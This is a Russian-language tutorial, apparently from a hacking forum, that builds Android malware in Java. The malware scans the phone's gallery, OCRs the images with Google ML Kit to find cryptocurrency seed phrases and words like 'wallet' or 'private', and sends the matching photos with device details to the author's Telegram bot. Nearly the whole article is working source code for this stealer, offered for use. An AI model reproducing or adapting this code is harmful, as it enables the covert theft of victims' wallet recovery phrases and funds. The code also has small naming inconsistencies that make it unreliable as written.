June 1, 2025

Android Malware - Seed Phrase Steale

Сегодня статья будет посвящена вирусу на Android, который автоматически ищет seed-фразы в галерее и способен находить другие важные данные, используя паттерны и ключевые слова.

Для этого мы будем использовать библиотеку Google ML Kit — мощный и эффективный инструмент, который будет распознавать текст на изображениях и конвертировать его в понятный для анализа текстовый вид.

Писать будем на Java (A), без серверной части, так как лог будет приходить напрямую в Telegram по bot token и user id.

1.Разрешения:
Для начала нам нужно получить доступ к галерее, где будет происходить поиск seed-фраз. Для этого добавляем в AndroidManifest.xml необходимое разрешение:

XML:Скопировать в буфер обмена

<uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />

2.Запрос разрешения у пользователя в MainActivity.java:

Java:Скопировать в буфер обмена

if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
    ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSION_CODE);
} else {
    scanGalleryForImages();
}

3.Обрабатываем результат запроса:

Java:Скопировать в буфер обмена

@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
    super.onRequestPermissionsResult(requestCode, permissions, grantResults);
    if (requestCode == REQUEST_PERMISSION_CODE) {
        if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
            scanGalleryForImages();
        } else {
            Log.e("Permissions", "Доступ к изображениям отклонён");
        }
    }
}

Хочу подчеркнуть, что такой метод работает на новых версиях Android 13, 14. Если вы хотите использовать код на более старых версиях (Android 12 и ниже), то вам потребуется другое разрешение:

XML:Скопировать в буфер обмена

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />

Логика запроса останется такой же, но с изменённой логикой работы с изображениями. На старых версиях Android заострять внимание не будем, но стоит упомянуть для тех, кто будет тестировать на Android 12 и ниже.

4.Основной код MainActivity.java:

Java:Скопировать в буфер обмена

public class MainActivity extends AppCompatActivity {

    private static final String XSS = "https://xss.is/members/377393/";
    private static final String EXPLOIT = "https://forum.exploit.in/profile/172574-nmz/";
    private static final String Adderall = "Благодарность "Adderall" с форума xss.is за идею для статьи.";


    private Map<String, String> topicIdMap = new HashMap<>();
    private static final int REQUEST_PERMISSION_CODE = 101;

    private static final String BOT_TOKEN = ""; // Токен бота Telegram
    private static final String CHAT_ID = ""; // ID пользователя Telegram
    private int keywordCount = 10; // Сколько слов из словаря seed фраз должно совпасть
    private Set<String> keywords = new HashSet<>();
    private int speedMs = 0; // Задержка перед проверкой следующего изображения
    private final List<String> specialKeywords = Arrays.asList("Seed", "phrase", "Mnemonic", "Recovery", "Pass", "Backup", "Key", "Master", "Access", "recovery", "seed", "Initial", "Wallet", "Entry", "Security", "Secret", "Private", "Blockchain", "Data", "protection", "Universal", "backup", "System", "Spare");

BOT_TOKEN и CHAT_ID не нуждаются в объяснении.
Остальные параметры:

keywordCount — Определяет, сколько ключевых слов должно совпасть для обнаружения seed-фразы. Seed-фразы состоят из 12-24 слов, но только 2048 английских слов могут быть частью BIP-39 фразы. Мы используем только английские слова, так как они наиболее распространены.

speedMs — Задержка в миллисекундах перед проверкой следующего изображения.

specialKeywords — Список ключевых слов, которые будут искаться в галерее. Если найдено совпадение, лог с изображением и ключевым словом будет отправлен в Telegram.

4.1.Методы:

Java:Скопировать в буфер обмена

private String getDeviceInfo() {
        String model = Build.MODEL;
        String androidVersion = Build.VERSION.RELEASE;
        return "Device: " + model + ", Android: " + androidVersion;
    }

Код передает краткую информацию о устройстве - Модель,Версия Android

Java:Скопировать в буфер обмена

private void loadKeywordsFromFile() {
        try {
            InputStream inputStream = getResources().openRawResource(R.raw.english);
            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
            String line;
            while ((line = reader.readLine()) != null) {
                keywords.add(line.trim().toLowerCase());
            }
            reader.close();
        } catch (IOException e) {
            Log.e("Keywords", "kaput", e);
        }
    }

Метод загружает ключевые слова для поиска из файла english.txt (res/raw). Эти ключевые слова будут использоваться для проверки текста,распознанного с помощью OCR.Слова добавляются в коллекцию keywords, которая содержит все слова, которые нужно искать в текстах на изображениях.

Теперь самое интересное, методы для сканирования галереи:

Java:Скопировать в буфер обмена

private void scanGalleryForImages() {
        ContentResolver contentResolver = getContentResolver();
        Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;

        String[] projection = {MediaStore.Images.Media._ID, MediaStore.Images.Media.DATA};
        Cursor cursor = contentResolver.query(uri, projection, null, null, MediaStore.Images.Media.DATE_ADDED + " DESC");

        if (cursor != null) {
            try {
                List<String> imagePaths = new ArrayList<>();
                while (cursor.moveToNext()) {
                    String imagePath = cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA));
                    imagePaths.add(imagePath);
                }

                processImagesSequentially(imagePaths);
            } finally {
                cursor.close();
            }
        }
    }

Отвечает за сканирование галереи устройства, чтобы получить список изображений.Результаты запроса сортируются по дате добавления и передаются в метод для последовательной обработки изображений processImagesSequentially.

Java:Скопировать в буфер обмена

    private void processImagesSequentially(List<String> imagePaths) {
        if (imagePaths.isEmpty()) {
            return;
        }
        String imagePath = imagePaths.remove(0);
        Uri imageUri = Uri.fromFile(new File(imagePath));
        processImageAsync(imageUri);
        
        new android.os.Handler().postDelayed(() -> processImagesSequentially(imagePaths), speedms);
    }

Этот метод обрабатывает изображения одно за другим с задержкой, которая задается переменной speedms.Он извлекает путь к следующему изображению из списка и вызывает метод processImageAsync() для обработки изображения.(Попытался в многопоток но возникли некоторые проблемы с Google ML Kit)

Java:Скопировать в буфер обмена

private void processImageAsync(Uri imageUri) {
        Bitmap bitmap = null;
        try {
            bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri));
            Bitmap resizedBitmap = Bitmap.createScaledBitmap(bitmap, bitmap.getWidth() / 2, bitmap.getHeight() / 2, false);

            recognizeTextFromImage(resizedBitmap, imageUri);
        } catch (IOException e) {
            Log.e("ProcessImage", "Ошибка обработки изображения", e);
        } finally {
            if (bitmap != null && !bitmap.isRecycled()) {
                bitmap.recycle();
            }
        }
    }

Загружает изображение и уменьшает его размер, чтобы оптимизировать его для распознавания текста. Этот метод также управляет освобождением памяти, чтобы предотвратить утечки памяти.После обработки изображения вызывается метод recognizeTextFromImage(), который передает уменьшенное изображение на анализ с помощью Google ML KitСделано для оптимизации.

Java:Скопировать в буфер обмена

private void recognizeTextFromImage(Bitmap bitmap, Uri imageUri) {
        InputImage image = InputImage.fromBitmap(bitmap, 0);
        TextRecognizer recognizer = TextRecognition.getClient(TextRecognizerOptions.DEFAULT_OPTIONS);

        recognizer.process(image)
                .addOnSuccessListener(result -> {
                    ArrayList<String> englishWords = extractEnglishWords(result);
                    boolean foundSpecialKeyword = checkForSpecialKeywords(englishWords);
                    boolean foundKeyword = checkForKeywords(englishWords);

                    // Отправляем фото в тг только если есть от 12 до 24 слов и найдено ключевое слово
                    if (englishWords.size() >= 12 && englishWords.size() <= 24 && foundKeyword) {
                        String deviceInfo = getDeviceInfo();
                        sendPhotoToTelegram(imageUri, englishWords, deviceInfo + ": от 12 до 24 фраз и " + keywordcount + " из словаря seed фраз");
                    }


                    if (foundSpecialKeyword) {
                        String keyword = findSpecialKeyword(englishWords);
                        String deviceInfo = getDeviceInfo();
                        sendPhotoToTelegram(imageUri, englishWords, deviceInfo + ": Найдено ключевое слово: " + keyword);
                    }
                })
                .addOnFailureListener(e -> Log.e("Text Recognition", "Ошибка распознавания текста", e));
    }

Отвечает за распознавание текста на изображении с использованием Google ML Kit, анализирует изображение, а результат передается в методы для извлечения ключевых слов.В случае успешного распознавания, результат анализируется для проверки на наличие ключевых слов используемых в seed фразах.

Java:Скопировать в буфер обмена

private ArrayList<String> extractEnglishWords(Text result) {
        ArrayList<String> wordsList = new ArrayList<>();
        Pattern pattern = Pattern.compile("[a-zA-Z]+");
        for (Text.TextBlock block : result.getTextBlocks()) {
            Matcher matcher = pattern.matcher(block.getText());
            while (matcher.find()) {
                wordsList.add(matcher.group().toLowerCase());
            }
        }
        return wordsList;
    }

Метод извлекает английские слова с помощью регулярного выражения. Если необходимо работать с текстом на других языках,можно легко добавить дополнительные регулярные выражения в объект Pattern, адаптировав их под нужные языки.

(Как было сказано выше seed фразы в формате BIP-39 могут быть на других языках)

Java:Скопировать в буфер обмена

private boolean checkForKeywords(ArrayList<String> words) {
        int keywordCount = 0;
        for (String word : words) {
            if (keywords.contains(word)) {
                Log.d("Keyword Found", "Найдено ключевое слово: " + word);
                keywordCount++;
                if (keywordCount >= keywordcount) {
                    return true;
                }
            }
        }
        return false;
    }

Проверяет, содержит ли список слов хотя бы одно из ключевых слов из коллекции keywords.Если найдено достаточно ключевых слов (определяется переменной keywordcount), метод возвращает true, что инициирует отправку данных в Telegram.И, наконец, отправка данных в Telegram:

Java:Скопировать в буфер обмена

private void sendPhotoToTelegram(Uri imageUri, ArrayList<String> words, String caption) {
        try {
            File file = new File(getCacheDir(), "image.jpg");
            Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri));
            FileOutputStream fos = new FileOutputStream(file);
            bitmap.compress(Bitmap.CompressFormat.JPEG, 100, fos);
            fos.flush();
            fos.close();

            if (bitmap != null && !bitmap.isRecycled()) {
                bitmap.recycle();
            }

            OkHttpClient client = new OkHttpClient();
            RequestBody requestBody = new MultipartBody.Builder()
                    .setType(MultipartBody.FORM)
                    .addFormDataPart("chat_id", CHAT_ID)
                    .addFormDataPart("photo", "image.jpg", RequestBody.create(MediaType.parse("image/jpeg"), file))
                    .addFormDataPart("caption", caption)
                    .build();

            Request request = new Request.Builder()
                    .url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendPhoto")
                    .post(requestBody)
                    .build();

            client.newCall(request).enqueue(new okhttp3.Callback() {
                @Override
                public void onFailure(okhttp3.Call call, IOException e) {
                    Log.e("Telegram", "Ошибка отправки сообщения", e);
                }

                @Override
                public void onResponse(okhttp3.Call call, Response response) throws IOException {
                    if (response.isSuccessful()) {
                        Log.d("Telegram", "збс");
                    } else {
                        Log.e("Telegram", "не збс: " + response.message());
                    }
                }
            });

        } catch (IOException e) {
            Log.e("Telegram", "Ошибка отправки файла", e);
        }
    }

После выполнения кода вам придёт лог следующего вида:

После выполнения кода вам придёт лог, содержащий информацию о модели устройства, версии Android и подписью с описанием того, что именно нашёл код.

Всем спасибо за внимание! Надеюсь, статья была интересна для прочтения.